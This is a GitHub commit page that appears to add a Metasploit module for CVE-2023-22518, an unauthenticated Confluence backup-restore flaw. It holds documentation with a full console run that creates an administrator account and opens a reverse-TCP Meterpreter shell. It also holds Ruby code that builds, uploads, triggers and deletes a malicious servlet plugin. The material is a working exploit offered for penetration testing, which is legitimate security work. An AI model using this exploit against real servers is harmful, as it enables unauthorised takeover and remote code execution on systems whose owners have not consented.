-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18566, CVE-2023-22518: Confluence Auth Bypass Restore From Back…
…up RCE
- Loading branch information
Showing
6 changed files
with
5,120 additions
and
0 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
#Thu Nov 09 06:05:19 UTC 2023 | ||
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30 | ||
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8 | ||
createdByVersionNumber=7.19.12 | ||
supportEntitlementNumber=SEN-L1699509489567 | ||
source=server | ||
buildNumber=8506 | ||
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia | ||
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0 | ||
defaultUsersGroup=confluence-users | ||
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9 | ||
exportType=all | ||
createdByBuildNumber=8804 | ||
backupAttachments=true |
108 changes: 108 additions & 0 deletions
108
documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
## Vulnerable Application | ||
|
||
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a | ||
Confluence instance administrator account. Using this account, an attacker can then perform all | ||
administrative actions that are available to Confluence instance administrator. This module uses the | ||
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code | ||
execution on the target in the context of the of the user running the confluence server. | ||
|
||
### Setup | ||
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.). | ||
By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence | ||
8.5.1 running on Windows Server 2022. | ||
|
||
After running the installer the setup wizard will ask for a trial license. An Atlassian account is free and required | ||
to obtain the trial licence. A database and a will also be required to run Confluence. Download and install | ||
[PostgreSQL](https://www.enterprisedb.com/downloads/postgres-postgresql-downloads). The setup Wizard will ask for DB | ||
credentials, the default PostgreSQL database can be used. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use atlassian_confluence_unauth_backup` | ||
1. Set the `RHOST` | ||
1. Run the module | ||
1. Receive a Meterpreter session in the context of the user running the Confluence application. | ||
|
||
## Options | ||
|
||
### CONFLUENCE_TARGET_ENDPOINT | ||
|
||
This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST | ||
request. The three vulnerable endpoints outlined by Atlassian in the advisory for this vulnerability are as follows: | ||
- /json/setup-restore.action | ||
- /json/setup-restore-local.action | ||
- /json/setup-restore-progress.action' | ||
|
||
### CONFLUENCE_PLUGIN_TIMEOUT | ||
|
||
The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously | ||
and we must poll the server to find out when installation has completed. This option governs the maximum amount | ||
of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`. | ||
|
||
## Scenarios | ||
### Windows Server 2022 running Atlassian Confluence 8.5.1 | ||
``` | ||
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134 | ||
rhost => 172.16.199.134 | ||
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true | ||
verbose => true | ||
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options | ||
Module options (exploit/multi/http/atlassian_confluence_unauth_backup): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout (in seconds) to wait when installing a plugin | ||
CONFLUENCE_TARGET_ENDPOINT /json/setup-restore.action yes The endpoint used to trigger the vulnerability. (Accepted: /json/setup-restore.action, /json/setup-restore-local.action, /json/setup-restore-progress.action) | ||
NEW_PASSWORD LELTtnOG yes Password to be used when creating a new user with admin privileges | ||
NEW_USERNAME candace.leffler yes Username to be used when creating a new user with admin privileges | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 172.16.199.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8090 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
Payload options (java/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 172.16.199.1 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Java | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run | ||
[*] Started reverse TCP handler on 172.16.199.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1 | ||
[*] Setting credentials: candace.leffler:LELTtnOG | ||
[+] Exploit Success! Login Using 'candace.leffler :: LELTtnOG' | ||
[*] Generating payload plugin | ||
[*] Uploading payload plugin | ||
[*] Triggering payload plugin | ||
[*] Deleting plugin... | ||
[*] Sending stage (57692 bytes) to 172.16.199.134 | ||
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.134:50095) at 2023-12-11 18:52:33 -0500 | ||
meterpreter > getuid | ||
Server username: WIN-2EEL7BRDUD8$ | ||
meterpreter > sysinfo | ||
Computer : WIN-2EEL7BRDUD8 | ||
OS : Windows Server 2022 10.0 (amd64) | ||
Architecture : x64 | ||
System Language : en_US | ||
Meterpreter : java/windows | ||
meterpreter > | ||
``` |
141 changes: 141 additions & 0 deletions
141
lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin | ||
|
||
include Msf::Exploit::Retry | ||
def get_upm_token(admin_username, admin_password) | ||
# https://github.com/atlassian-api/atlassian-python-api/blob/master/atlassian/jira.py#L3356-L3361 | ||
res = send_request_cgi({ | ||
'method' => 'HEAD', | ||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), | ||
'headers' => { | ||
'X-Atlassian-Token' => 'no-check', | ||
'Authorization' => basic_auth(admin_username, admin_password), | ||
'Accept' => '*/*' | ||
} | ||
}) | ||
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token using the rest API') unless res&.code == 200 && res&.headers&.[]('upm-token') | ||
|
||
res.headers['upm-token'] | ||
end | ||
|
||
def generate_payload_plugin(plugin_key, payload_endpoint) | ||
vprint_status('Generating payload plugin') | ||
webshell_jar = payload.encoded_jar(random: true) | ||
|
||
webshell_jar.add_file( | ||
'atlassian-plugin.xml', | ||
%( | ||
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2"> | ||
<plugin-info> | ||
<description>#{rand_text_alphanumeric(8)}</description> | ||
<version>#{rand(1024)}.#{rand(1024)}</version> | ||
</plugin-info> | ||
<servlet key="#{rand_text_alpha(8)}" class="#{webshell_jar.substitutions['metasploit']}.PayloadServlet"> | ||
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern> | ||
</servlet> | ||
</atlassian-plugin>) | ||
) | ||
|
||
webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')) | ||
return webshell_jar.pack | ||
end | ||
|
||
def upload_payload_plugin(webshell_jar, admin_username, admin_password) | ||
vprint_status('Uploading payload plugin') | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8..16)}.jar\"") | ||
post_data.add_part('', nil, nil, 'form-data; name="url"') | ||
|
||
data = post_data.to_s | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), | ||
'method' => 'POST', | ||
'data' => data, | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'headers' => { | ||
'Authorization' => basic_auth(admin_username, admin_password), | ||
'Accept' => '*/*' | ||
}, | ||
'vars_get' => { | ||
'token' => get_upm_token(admin_username, admin_password) | ||
} | ||
}) | ||
|
||
unless res&.code == 202 | ||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/') | ||
end | ||
|
||
unless res.body =~ %r{<textarea>(.+)</textarea>} | ||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/') | ||
end | ||
|
||
begin | ||
plugin_json = JSON.parse(::Regexp.last_match(1)) | ||
rescue JSON::ParserError | ||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/') | ||
end | ||
|
||
# We receive a JSON object like this: | ||
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea> | ||
|
||
links_alternate = plugin_json&.dig('links', 'alternate') | ||
if links_alternate.nil? | ||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/') | ||
end | ||
|
||
# The plugin is installed asynchronously, so we poll the server for installation to be completed. | ||
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, links_alternate) | ||
) | ||
|
||
# We receive a JSON result to indicate if the plugin is finished installing. | ||
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188} | ||
|
||
if res&.code == 200 | ||
begin | ||
res_json = JSON.parse(res.body) | ||
next res_json['done'] | ||
rescue JSON::ParserError | ||
next false | ||
end | ||
end | ||
|
||
false | ||
end | ||
|
||
unless plugin_ready | ||
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.') | ||
end | ||
|
||
end | ||
|
||
def trigger_payload_plugin(payload_endpoint) | ||
vprint_status('Triggering payload plugin') | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint) | ||
) | ||
|
||
unless res&.code == 200 | ||
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") | ||
end | ||
end | ||
|
||
def delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) | ||
vprint_status('Deleting plugin...') | ||
|
||
res = send_request_cgi( | ||
'method' => 'DELETE', | ||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"), | ||
'headers' => { | ||
'Authorization' => basic_auth(admin_username, admin_password), | ||
'Connection' => 'close' | ||
} | ||
) | ||
|
||
unless res&.code == 204 | ||
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") | ||
end | ||
end | ||
end |
16 changes: 16 additions & 0 deletions
16
lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version | ||
def get_confluence_version | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'login.action') | ||
) | ||
return nil unless res&.code == 200 | ||
|
||
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text | ||
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/ | ||
|
||
Rex::Version.new(Regexp.last_match(1)) | ||
end | ||
end |
Oops, something went wrong.